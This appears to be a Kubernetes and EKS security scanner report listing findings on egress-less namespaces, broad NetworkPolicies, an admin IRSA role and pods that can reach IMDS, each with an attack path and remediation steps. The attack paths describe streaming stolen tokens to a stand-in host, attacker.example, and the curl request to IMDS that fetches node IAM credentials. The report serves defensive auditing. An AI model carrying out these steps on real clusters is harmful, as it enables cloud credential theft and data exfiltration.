MEDIUM Namespace/netpol-bridge/netpol-bridge Namespace 5.8
Namespace netpol-bridge controls ingress but has no Egress policy (one-way enforcement)
Scope · Namespace Namespace netpol-bridge: pods are firewalled inbound but can reach any outbound destination
Category: Lateral Movement Resource: Namespace/netpol-bridge/netpol-bridge Namespace: netpol-bridge

Namespace netpol-bridge has NetworkPolicy objects that select pods for ingress filtering but no NetworkPolicy enforces egress. In Kubernetes' policy model, ingress and egress are independent dimensions: a pod is isolated for ingress only if a policy with policyTypes: Ingress selects it, and isolated for egress only if a policy with policyTypes: Egress selects it. A pod can be tightly firewalled inbound and still reach the entire internet outbound, which is exactly the asymmetry seen here.

This is a classic misconfiguration after a half-finished zero-trust migration. Teams typically write ingress policies first because they think of "who can talk to my service," and ship without revisiting outbound. The result looks compliant in dashboards but leaves data exfiltration, cloud IMDS access, and outbound C2 wide open.

The practical risk is that egress is the dimension attackers actually want. Inbound restrictions help against external scanners, but a compromised pod's value to an attacker is in what it can talk *out* to: the cloud control plane via IMDS, attacker-controlled C2, internal databases in other namespaces, and the cluster's kube-apiserver.

Impact Compromised pods in this namespace retain full outbound reach. IMDS credential theft, C2 callbacks, and lateral pivots out of the namespace are unimpeded.
How an attacker abuses this
Background
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any pod in netpol-bridge.
  2. They hit IMDS. The namespace has no egress policy, so the request succeeds and node IAM credentials are exfiltrated.
  3. They establish C2 to attacker.example:443 and stream captured tokens, environment variables, and pod-mounted secrets.
  4. They pivot to other namespaces by talking to ClusterIP Services directly. The missing egress policy doesn't restrict cluster-internal destinations either.
  5. They call kube-apiserver with the pod's ServiceAccount token (egress to apiserver also unrestricted), enumerating RBAC for any privesc opportunity.
Remediation
Add a default-deny-egress NetworkPolicy in netpol-bridge, then explicit per-workload egress allowlists for DNS and actual outbound dependencies.
  1. Apply a default-deny-egress policy in netpol-bridge targeting podSelector: {} so every pod becomes egress-isolated.
  2. Add an explicit DNS-allow policy (UDP/TCP 53 to kube-system).
  3. For each workload that has legitimate egress, add a tight to: clause (specific Service, namespaceSelector+podSelector, or specific external CIDR; never 0.0.0.0/0).
  4. Validate by kubectl exec into a representative pod and confirming curl --max-time 3 https://example.com/ times out.
  5. Wire CI policy (Kyverno require-policytypes-egress) to fail any future namespace with ingress-only coverage.
Evidence
Namespacenetpol-bridge
Show raw JSON
{
  "namespace": "netpol-bridge"
}
MEDIUM

NetworkPolicy flat-network/allow-broad accepts ingress from any namespace via empty namespaceSelector

KUBE-NETPOL-WEAKNESS-001 1 subject Score 5.5
MITRE ATT&CK: T1046T1018T1090T1078.004

Affected subject

MEDIUM NetworkPolicy/flat-network/allow-broad Object 5.5
NetworkPolicy flat-network/allow-broad accepts ingress from any namespace via empty namespaceSelector
Scope · Object NetworkPolicy flat-network/allow-broad: selected pods are reachable from every namespace, present and future
Category: Lateral Movement Resource: NetworkPolicy/flat-network/allow-broad Namespace: flat-network

NetworkPolicy flat-network/allow-broad contains an ingress from: peer with a namespaceSelector that has no matchLabels and no matchExpressions. In NetworkPolicy semantics this is the special form that means "every namespace in the cluster", which is exactly the opposite of the Kubernetes default for from: peers (which is "only the policy's own namespace").

In multi-tenant or shared clusters the impact is direct: namespace boundaries are the cheapest soft tenancy boundary Kubernetes offers, and namespaceSelector: {} invalidates that boundary for the selected pods. A compromised pod in any tenant (even one with no business need to talk to these pods) has unrestricted access on the allowed ports.

The correct pattern is to scope the namespaceSelector to the specific labels that identify allowed source namespaces (e.g., tenancy.example.com/team: data-platform) and combine it with an explicit podSelector so only the right pods in the right namespaces can connect. Combined selectors mean "pods matching label X in namespaces matching label Y": the AND form, not the OR form.

Impact Selected workloads are reachable from any pod in any namespace on the allowed ports. This defeats namespace-based tenant isolation and invites cross-tenant lateral movement.
How an attacker abuses this
  1. Attacker compromises a low-value pod in some other namespace (CI runner, stale demo, shared sidecar).
  2. They enumerate ClusterIP Services and notice the Service backing allow-broad's pods in flat-network.
  3. They attempt a TCP connect from the other namespace. Under any other policy this would be denied at the CNI, but namespaceSelector: {} matches and the connection succeeds.
  4. They exploit an application-layer issue on the now-reachable port (auth bypass, weak credential, RCE) and pivot into the high-value workload.
  5. They continue lateral motion from inside the target namespace using mounted tokens and secrets.
Remediation
Replace the empty namespaceSelector with explicit labels identifying the small set of namespaces that legitimately need access, paired with a podSelector.
  1. Identify which namespaces actually need to reach the selected pods (often one or two; never "all").
  2. Label those namespaces with a stable, policy-meaningful key (e.g., tenancy.example.com/team: data-platform).
  3. Edit allow-broad to replace namespaceSelector: {} with matchLabels for the chosen label, and add a sibling podSelector.
  4. Validate by attempting connections from a netshoot pod in a non-allowed namespace (must time out) and from an allowed namespace (must succeed).
  5. Add a Kyverno or OPA Gatekeeper rule that warns on any new NetworkPolicy with an empty namespaceSelector peer.
Evidence
Policyallow-broad
Show raw JSON
{
  "policy": "allow-broad"
}
MEDIUM

NetworkPolicy flat-network/allow-broad opens cross-namespace ingress every namespace in the cluster (target flat-network)

KUBE-NETPOL-CROSSNS-001 2 subjects Score 5.4
MITRE ATT&CK: T1046T1018T1090T1078.004

Affected subjects (2)

MEDIUM NetworkPolicy/flat-network/allow-broad Object 5.4
NetworkPolicy flat-network/allow-broad opens cross-namespace ingress every namespace in the cluster (target flat-network)
Scope · Object NetworkPolicy flat-network/allow-broad: cross-namespace ingress from every namespace in the cluster
Category: Lateral Movement Resource: NetworkPolicy/flat-network/allow-broad Namespace: flat-network

NetworkPolicy flat-network/allow-broad declares a peer that crosses a namespace boundary. The ingress rule references every namespace in the cluster, which is a different namespace from the policy's own flat-network and either the source or the target is a *sensitive* namespace (a control-plane namespace such as kube-system, kube-public, or kube-node-lease, the implicit default namespace, or gatekeeper-system).

Namespace boundaries are the cheapest soft-tenancy primitive Kubernetes offers. A cross-namespace allow rule that pierces one of the sensitive namespaces is structurally suspicious because those namespaces tend to host either the cluster control plane (kube-system DaemonSets, the kubelet's apiserver client) or the catch-all destination for workloads that omit metadata.namespace. Tenancy-aware operators want explicit, narrowly-labeled selectors for these edges, not a broad cross-NS allow.

In particular, an *ingress* rule that admits kube-system (or * / every namespace) gives every control-plane pod a path into the selected workload. An *egress* rule that admits traffic back into kube-system lets a compromised pod talk to control-plane services (CoreDNS, kube-proxy sidecars) that may run with elevated privilege or expose admin-only endpoints. The wildcard form (namespaceSelector: {}) is the worst variant: it matches every present and future namespace, so future tenants are silently bridged the moment they are created.

Impact Workloads selected by allow-broad participate in cross-namespace traffic with every namespace in the cluster, bypassing namespace-level isolation between tenants. The blast radius grows when the bridged namespace is a control-plane namespace because the bridge crosses a privilege boundary as well as a tenancy boundary.
How an attacker abuses this
  1. Attacker compromises any pod in every namespace in the cluster (or any namespace, when the source is *).
  2. They open a TCP connection to the pods selected by allow-broad.spec.podSelector in flat-network. The cross-namespace allow rule matches, so the connection succeeds when other tenant pods would be denied.
  3. They exploit an application-layer issue on the now-reachable port (auth bypass, weak credential, RCE) and gain a foothold in flat-network.
  4. From flat-network, they pivot using mounted ServiceAccount tokens, in-namespace secrets, and any further allow rules that originate from this newly-owned pod.
  5. If the bridged namespace was a control-plane namespace, the attacker now has a usable position adjacent to control-plane services and can attempt to enumerate or impersonate the more privileged identities those services run as.
Remediation
Replace the cross-namespace peer with an explicit, narrowly-labeled namespaceSelector and a sibling podSelector that names the small set of pods that legitimately need this traffic, and confirm with the platform team whether the bridge is required at all.
  1. Audit flat-network/allow-broad and confirm whether the cross-namespace allow rule is intentional. Most cross-NS rules touching kube-system / default are leftovers from a debug session.
  2. If the bridge is not intentional, delete the offending peer (kubectl edit netpol).
  3. If the bridge is intentional, label the source namespace with a stable, policy-meaningful key (e.g., tenancy.example.com/role: shared-egress) and switch the peer to matchLabels for that key paired with a podSelector.
  4. Validate from a netshoot pod in flat-network: confirm allowed connections succeed and unrelated namespaces are still denied.
  5. Add a Kyverno or Gatekeeper rule that warns on any new NetworkPolicy whose namespaceSelector matches kube-system / kube-public / default or is empty.
Evidence
direction
"ingress"
policy_name
"allow-broad"
policy_namespace
"flat-network"
source_namespace
"*"
Show raw JSON
{
  "direction": "ingress",
  "policy_name": "allow-broad",
  "policy_namespace": "flat-network",
  "source_namespace": "*",
  "target_namespace": "flat-network"
}
MEDIUM NetworkPolicy/netpol-bridge/allow-kube-system-ingress Object 5.4
NetworkPolicy netpol-bridge/allow-kube-system-ingress opens cross-namespace ingress kube-system (target netpol-bridge)
Scope · Object NetworkPolicy netpol-bridge/allow-kube-system-ingress: cross-namespace ingress from kube-system
Category: Lateral Movement Resource: NetworkPolicy/netpol-bridge/allow-kube-system-ingress Namespace: netpol-bridge

NetworkPolicy netpol-bridge/allow-kube-system-ingress declares a peer that crosses a namespace boundary. The ingress rule references kube-system, which is a different namespace from the policy's own netpol-bridge and either the source or the target is a *sensitive* namespace (a control-plane namespace such as kube-system, kube-public, or kube-node-lease, the implicit default namespace, or gatekeeper-system).

Namespace boundaries are the cheapest soft-tenancy primitive Kubernetes offers. A cross-namespace allow rule that pierces one of the sensitive namespaces is structurally suspicious because those namespaces tend to host either the cluster control plane (kube-system DaemonSets, the kubelet's apiserver client) or the catch-all destination for workloads that omit metadata.namespace. Tenancy-aware operators want explicit, narrowly-labeled selectors for these edges, not a broad cross-NS allow.

In particular, an *ingress* rule that admits kube-system (or * / every namespace) gives every control-plane pod a path into the selected workload. An *egress* rule that admits traffic back into kube-system lets a compromised pod talk to control-plane services (CoreDNS, kube-proxy sidecars) that may run with elevated privilege or expose admin-only endpoints. The wildcard form (namespaceSelector: {}) is the worst variant: it matches every present and future namespace, so future tenants are silently bridged the moment they are created.

Impact Workloads selected by allow-kube-system-ingress participate in cross-namespace traffic with kube-system, bypassing namespace-level isolation between tenants. The blast radius grows when the bridged namespace is a control-plane namespace because the bridge crosses a privilege boundary as well as a tenancy boundary.
How an attacker abuses this
  1. Attacker compromises any pod in kube-system (or any namespace, when the source is *).
  2. They open a TCP connection to the pods selected by allow-kube-system-ingress.spec.podSelector in netpol-bridge. The cross-namespace allow rule matches, so the connection succeeds when other tenant pods would be denied.
  3. They exploit an application-layer issue on the now-reachable port (auth bypass, weak credential, RCE) and gain a foothold in netpol-bridge.
  4. From netpol-bridge, they pivot using mounted ServiceAccount tokens, in-namespace secrets, and any further allow rules that originate from this newly-owned pod.
  5. If the bridged namespace was a control-plane namespace, the attacker now has a usable position adjacent to control-plane services and can attempt to enumerate or impersonate the more privileged identities those services run as.
Remediation
Replace the cross-namespace peer with an explicit, narrowly-labeled namespaceSelector and a sibling podSelector that names the small set of pods that legitimately need this traffic, and confirm with the platform team whether the bridge is required at all.
  1. Audit netpol-bridge/allow-kube-system-ingress and confirm whether the cross-namespace allow rule is intentional. Most cross-NS rules touching kube-system / default are leftovers from a debug session.
  2. If the bridge is not intentional, delete the offending peer (kubectl edit netpol).
  3. If the bridge is intentional, label the source namespace with a stable, policy-meaningful key (e.g., tenancy.example.com/role: shared-egress) and switch the peer to matchLabels for that key paired with a podSelector.
  4. Validate from a netshoot pod in netpol-bridge: confirm allowed connections succeed and unrelated namespaces are still denied.
  5. Add a Kyverno or Gatekeeper rule that warns on any new NetworkPolicy whose namespaceSelector matches kube-system / kube-public / default or is empty.
Evidence
direction
"ingress"
policy_name
"allow-kube-system-ingress"
policy_namespace
"netpol-bridge"
source_namespace
"kube-system"
Show raw JSON
{
  "direction": "ingress",
  "policy_name": "allow-kube-system-ingress",
  "policy_namespace": "netpol-bridge",
  "source_namespace": "kube-system",
  "target_namespace": "netpol-bridge"
}

Cloud

40 findings · 4 rules · 0 critical · 38 high · 0 medium · 2 low
HIGH

ServiceAccount bound to admin-flavored IAM role via IRSA

KUBE-CLOUD-IRSA-ADMIN-ROLE-001 1 subject Score 9.8

Affected subject

HIGH ServiceAccount/cloud-eks-test/eks-admin-irsa Workload 9.8
ServiceAccount bound to admin-flavored IAM role via IRSA
Scope · Workload ServiceAccount cloud-eks-test/eks-admin-irsa and every pod that mounts it
Category: Privilege Escalation Subject: ServiceAccount/cloud-eks-test/eks-admin-irsa Resource: ServiceAccount/cloud-eks-test/eks-admin-irsa

ServiceAccount cloud-eks-test/eks-admin-irsa is annotated with eks.amazonaws.com/role-arn=arn:aws:iam::123456789012:role/AdministratorAccess; the role name matches an admin pattern (admin-substring). Any pod using this SA receives an IRSA token that authenticates to AWS as that role.

How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueAssume AWS IAM Role via IRSA

A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

Remediation
Replace the admin role with a least-privilege IAM role scoped to the API actions the workload actually needs.
Evidence
arn
"arn:aws:iam::123456789012:role/AdministratorAccess"
matchedKeyword
"Administrator"
reason
"admin-substring"
sa
"cloud-eks-test/eks-admin-irsa"
Show raw JSON
{
  "arn": "arn:aws:iam::123456789012:role/AdministratorAccess",
  "matchedKeyword": "Administrator",
  "reason": "admin-substring",
  "sa": "cloud-eks-test/eks-admin-irsa"
}
HIGH

Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)

KUBE-CLOUD-IMDS-PIVOT-001 37 subjects Score 9.2–8.2
MITRE ATT&CK: T1552.005T1078.004

Affected subjects (37)

HIGH ServiceAccount/cloud-eks-test/default Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/cloud-eks-test/default Resource: Deployment/cloud-eks-test/imds-pivot-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"cloud-eks-test/imds-pivot-app"
reason
"no-egress-policy"
sa
"cloud-eks-test/default"
workload
"Deployment/cloud-eks-test/imds-pivot-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "cloud-eks-test/imds-pivot-app",
  "reason": "no-egress-policy",
  "sa": "cloud-eks-test/default",
  "workload": "Deployment/cloud-eks-test/imds-pivot-app"
}
HIGH ServiceAccount/containersec-fixtures/default Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/containersec-fixtures/default Resource: Deployment/containersec-fixtures/containersec-image

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"containersec-fixtures/containersec-image"
reason
"no-egress-policy"
sa
"containersec-fixtures/default"
workload
"Deployment/containersec-fixtures/containersec-image"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "containersec-fixtures/containersec-image",
  "reason": "no-egress-policy",
  "sa": "containersec-fixtures/default",
  "workload": "Deployment/containersec-fixtures/containersec-image"
}
HIGH ServiceAccount/containersec-fixtures/default Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/containersec-fixtures/default Resource: Deployment/containersec-fixtures/containersec-lifecycle

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"containersec-fixtures/containersec-lifecycle"
reason
"no-egress-policy"
sa
"containersec-fixtures/default"
workload
"Deployment/containersec-fixtures/containersec-lifecycle"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "containersec-fixtures/containersec-lifecycle",
  "reason": "no-egress-policy",
  "sa": "containersec-fixtures/default",
  "workload": "Deployment/containersec-fixtures/containersec-lifecycle"
}
HIGH ServiceAccount/containersec-fixtures/default Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/containersec-fixtures/default Resource: Deployment/containersec-fixtures/containersec-limits

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"containersec-fixtures/containersec-limits"
reason
"no-egress-policy"
sa
"containersec-fixtures/default"
workload
"Deployment/containersec-fixtures/containersec-limits"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "containersec-fixtures/containersec-limits",
  "reason": "no-egress-policy",
  "sa": "containersec-fixtures/default",
  "workload": "Deployment/containersec-fixtures/containersec-limits"
}
HIGH ServiceAccount/containersec-fixtures/default Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
